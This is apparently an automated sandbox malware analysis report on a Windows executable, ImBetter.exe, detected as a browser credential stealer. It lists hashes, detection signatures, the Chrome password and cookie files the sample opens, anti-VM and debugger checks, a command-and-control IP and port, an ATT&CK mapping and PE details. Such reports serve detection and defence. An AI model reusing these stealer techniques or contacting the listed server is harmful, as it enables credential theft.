Edit tour

Windows Analysis Report
ImBetter.exe

Overview

General Information

Sample Name:	ImBetter.exe
Analysis ID:	820147
MD5:	e7b7595c06031d68bcdf6f13cb4632a6
SHA1:	f239dad6cf421b8b9475bfa56af2c8a5cea7a066
SHA256:	9668d4e072999eb5098e97bac471014f5ac8478774f67cba4e8be95ba84e7576
Tags:	exe
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Contains functionality to steal Chrome passwords or cookies

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Detected TCP or UDP traffic on non-standard ports

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Program does not show much activity (idle)

Classification

Process Tree

System is w10x64

ImBetter.exe (PID: 5676 cmdline: C:\Users\user\Desktop\ImBetter.exe MD5: E7B7595C06031D68BCDF6F13CB4632A6)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ImBetter.exe	ReversingLabs: Detection: 51%
Source: ImBetter.exe	Virustotal: Detection: 54%			Perma Link

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B1BEC0 CryptUnprotectData,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7E6B1BEC0

Source: ImBetter.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\google\Downloads\build\ImBetter\x64\Release\ImBetter.pdb1 source: ImBetter.exe
Source:	Binary string: C:\Users\google\Downloads\build\ImBetter\x64\Release\ImBetter.pdb source: ImBetter.exe

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B43534 FindClose,FindFirstFileExW,GetLastError,	0_2_00007FF7E6B43534
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B4879C FindFirstFileExW,	0_2_00007FF7E6B4879C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B435A8 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	0_2_00007FF7E6B435A8

Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.3:49696 -> 85.192.63.32:1001

Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.32

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B0BDEF send,recv,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7E6B0BDEF

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B197C0	0_2_00007FF7E6B197C0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B1A8C0	0_2_00007FF7E6B1A8C0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B12670	0_2_00007FF7E6B12670
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B35254	0_2_00007FF7E6B35254
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B2AD94	0_2_00007FF7E6B2AD94
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B319F0	0_2_00007FF7E6B319F0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B25A6C	0_2_00007FF7E6B25A6C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B0C7E0	0_2_00007FF7E6B0C7E0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B4879C	0_2_00007FF7E6B4879C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B247D0	0_2_00007FF7E6B247D0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B278A0	0_2_00007FF7E6B278A0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B0E8A0	0_2_00007FF7E6B0E8A0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B3A8D4	0_2_00007FF7E6B3A8D4
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B435A8	0_2_00007FF7E6B435A8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B33648	0_2_00007FF7E6B33648
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B3835C	0_2_00007FF7E6B3835C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B4A36C	0_2_00007FF7E6B4A36C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B02120	0_2_00007FF7E6B02120
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B19150	0_2_00007FF7E6B19150
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B2F2F8	0_2_00007FF7E6B2F2F8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B27258	0_2_00007FF7E6B27258
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B1BFD0	0_2_00007FF7E6B1BFD0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B27070	0_2_00007FF7E6B27070
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B18050	0_2_00007FF7E6B18050
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B27DB4	0_2_00007FF7E6B27DB4
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B33DB8	0_2_00007FF7E6B33DB8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B30D78	0_2_00007FF7E6B30D78
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B09D40	0_2_00007FF7E6B09D40
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B45E9C	0_2_00007FF7E6B45E9C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B37ED0	0_2_00007FF7E6B37ED0
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B26E88	0_2_00007FF7E6B26E88
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B39E1C	0_2_00007FF7E6B39E1C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B2EE48	0_2_00007FF7E6B2EE48
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B2F978	0_2_00007FF7E6B2F978
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B1BA60	0_2_00007FF7E6B1BA60

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B02EB0 appears 53 times
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B02FD0 appears 55 times
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B14CC0 appears 36 times
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B09F60 appears 346 times
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B028C0 appears 1024 times
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: String function: 00007FF7E6B02820 appears 38 times

Source: ImBetter.exe	ReversingLabs: Detection: 51%
Source: ImBetter.exe	Virustotal: Detection: 54%

Source: ImBetter.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ImBetter.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: classification engine

Classification label: mal60.spyw.evad.winEXE@1/0@0/1

Source: ImBetter.exe, 00000000.00000003.295401470.000001CD7E861000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ImBetter.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ImBetter.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ImBetter.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: ImBetter.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\google\Downloads\build\ImBetter\x64\Release\ImBetter.pdb1 source: ImBetter.exe
Source:	Binary string: C:\Users\google\Downloads\build\ImBetter\x64\Release\ImBetter.pdb source: ImBetter.exe

Source: ImBetter.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ImBetter.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ImBetter.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ImBetter.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ImBetter.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: ImBetter.exe

Static PE information: section name: _RDATA

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ImBetter.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B43534 FindClose,FindFirstFileExW,GetLastError,	0_2_00007FF7E6B43534
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B4879C FindFirstFileExW,	0_2_00007FF7E6B4879C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B435A8 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	0_2_00007FF7E6B435A8

Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B256C4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7E6B256C4

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B321D4 GetProcessHeap,

0_2_00007FF7E6B321D4

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B3C810 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7E6B3C810
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B3D53C SetUnhandledExceptionFilter,	0_2_00007FF7E6B3D53C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B256C4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7E6B256C4
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: 0_2_00007FF7E6B3D358 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7E6B3D358

Source: C:\Users\user\Desktop\ImBetter.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF7E6B357F8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	0_2_00007FF7E6B2C384
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: EnumSystemLocalesEx,	0_2_00007FF7E6B2C2C4
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_00007FF7E6B431F8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF7E6B3622C
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: EnumSystemLocalesW,	0_2_00007FF7E6B2BFEC
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoW,	0_2_00007FF7E6B36100
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF7E6B36050
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoW,	0_2_00007FF7E6B35EF8
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: EnumSystemLocalesW,	0_2_00007FF7E6B35C14
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: EnumSystemLocalesW,	0_2_00007FF7E6B35B44
Source: C:\Users\user\Desktop\ImBetter.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF7E6B35CAC

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B3C670 cpuid

0_2_00007FF7E6B3C670

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: 0_2_00007FF7E6B3D908 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7E6B3D908

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\ImBetter.exe

Code function: Google\Chrome\User Data\Default\Login Data

0_2_00007FF7E6B18050

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\ImBetter.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	1 Credentials In Files	12 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ImBetter.exe	51%	ReversingLabs	Win64.Trojan.Coins
ImBetter.exe	54%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
85.192.63.32	unknown	Russian Federation		47711	LINEGROUP-ASRU	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	820147
Start date and time:	2023-03-05 06:18:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	ImBetter.exe
Detection:	MAL
Classification:	mal60.spyw.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 28% (good quality ratio 24.9%) Quality average: 59.8% Quality standard deviation: 31.8%
HCA Information:	Successful, ratio: 93% Number of executed functions: 60 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINEGROUP-ASRU	B94872E1A7599AF25CAA25013FC0054E5AFFDA6CFAEF6.dll	Get hash	malicious	Raccoon Stealer v2	Browse	85.192.63.204
	B94872E1A7599AF25CAA25013FC0054E5AFFDA6CFAEF6.dll	Get hash	malicious	Raccoon Stealer v2	Browse	85.192.63.204
	DxIQxeHMa9.exe	Get hash	malicious	Amadey, Laplas Clipper	Browse	85.192.63.121
	Tn4ashLbYc.exe	Get hash	malicious	Aurora	Browse	85.192.63.77
	BkazCbNYxo.exe	Get hash	malicious	Aurora, AgentTesla, Amadey, Eternity Stealer	Browse	85.192.63.77
	oOb5C7arAh.dll	Get hash	malicious	Amadey, Raccoon Stealer v2, RedLine	Browse	85.192.63.204
	c96cf2857a6044e9149ab0d55c3dfe280cefe8add4791.dll	Get hash	malicious	Amadey, Raccoon Stealer v2, RedLine	Browse	85.192.63.121
	59d84ed47893f3f3b3a3e121ffbcfa0b86bdb91431a7c.exe	Get hash	malicious	Amadey	Browse	85.192.63.121
	evb.exe	Get hash	malicious	Unknown	Browse	85.192.63.103
	file.exe	Get hash	malicious	RedLine	Browse	85.192.63.57
	yW7mLzcc7I.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	zaebr2KFu1.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	6UehABuMnu.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	N3gA1d2efb.exe	Get hash	malicious	Eternity Stealer	Browse	85.192.63.240
	ZdxTUeilBE.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	41y5zVipKH.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	HMY5HSIYYs.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	FsAkJLRMJu.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	85.192.63.114
	hblHDyR2NT.exe	Get hash	malicious	Raccoon Stealer v2, RedLine, SmokeLoader, Vidar	Browse	85.192.63.114
	0cjwN67exo.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	85.192.63.184

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.357625213654481
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ImBetter.exe
File size:	457216
MD5:	e7b7595c06031d68bcdf6f13cb4632a6
SHA1:	f239dad6cf421b8b9475bfa56af2c8a5cea7a066
SHA256:	9668d4e072999eb5098e97bac471014f5ac8478774f67cba4e8be95ba84e7576
SHA512:	9368e0c6d50fede8d9647ea6ebc2be31966508263910a0d2a12c5c6c36af82a62c9447bf01273eb4aac22831fe831005df3abf46d41a12a3a196b4b9b327ee5a
SSDEEP:	6144:9qks939C01cM3LJy0TguFz0qHQW7ZzesGsDtVHOYRn9sOQloh7Q0XRMgD:X01vV7gKz0SQW7hZDmIGZoFQE
TLSH:	C3A47C5A63A801F9D0B7D27CCD974901E6767C050372DAEF03D4A6666F272E0AE3EB11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............c...c...c...e...c...b...c...b.V.c...f...c...g...c...`...c...f.k.c...`...c...g...c...j...c.......c...a...c.Rich..c........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x14003d33c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63E818BE [Sat Feb 11 22:37:50 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2cf43178e4fba2da6d1dff3a1d42168b

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F58D04673E8h
dec eax
add esp, 28h
jmp 00007F58D0466C9Fh
int3
int3
and dword ptr [00030569h], 00000000h
ret
dec eax
mov dword ptr [esp+08h], ebx
push ebp
dec eax
lea ebp, dword ptr [esp-000004C0h]
dec eax
sub esp, 000005C0h
mov ebx, ecx
mov ecx, 00000017h
call dword ptr [00011CFEh]
test eax, eax
je 00007F58D0466E26h
mov ecx, ebx
int 29h
mov ecx, 00000003h
call 00007F58D0466DE9h
xor edx, edx
dec eax
lea ecx, dword ptr [ebp-10h]
inc ecx
mov eax, 000004D0h
call 00007F58D04684B8h
dec eax
lea ecx, dword ptr [ebp-10h]
call dword ptr [00011C89h]
dec eax
mov ebx, dword ptr [ebp+000000E8h]
dec eax
lea edx, dword ptr [ebp+000004D8h]
dec eax
mov ecx, ebx
inc ebp
xor eax, eax
call dword ptr [00011C77h]
dec eax
test eax, eax
je 00007F58D0466E5Eh
dec eax
and dword ptr [esp+38h], 00000000h
dec eax
lea ecx, dword ptr [ebp+000004E0h]
dec eax
mov edx, dword ptr [ebp+000004D8h]
dec esp
mov ecx, eax
dec eax
mov dword ptr [esp+30h], ecx
dec esp
mov eax, ebx
dec eax
lea ecx, dword ptr [ebp+000004E8h]
dec eax
mov dword ptr [esp+28h], ecx
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
mov dword ptr [esp+20h], ecx
xor ecx, ecx
call dword ptr [00011C3Eh]
dec eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x698a4	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x74000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6f000	0x3ccc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75000	0xb40	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x616a0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x61780	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x61560	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4f000	0x3c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

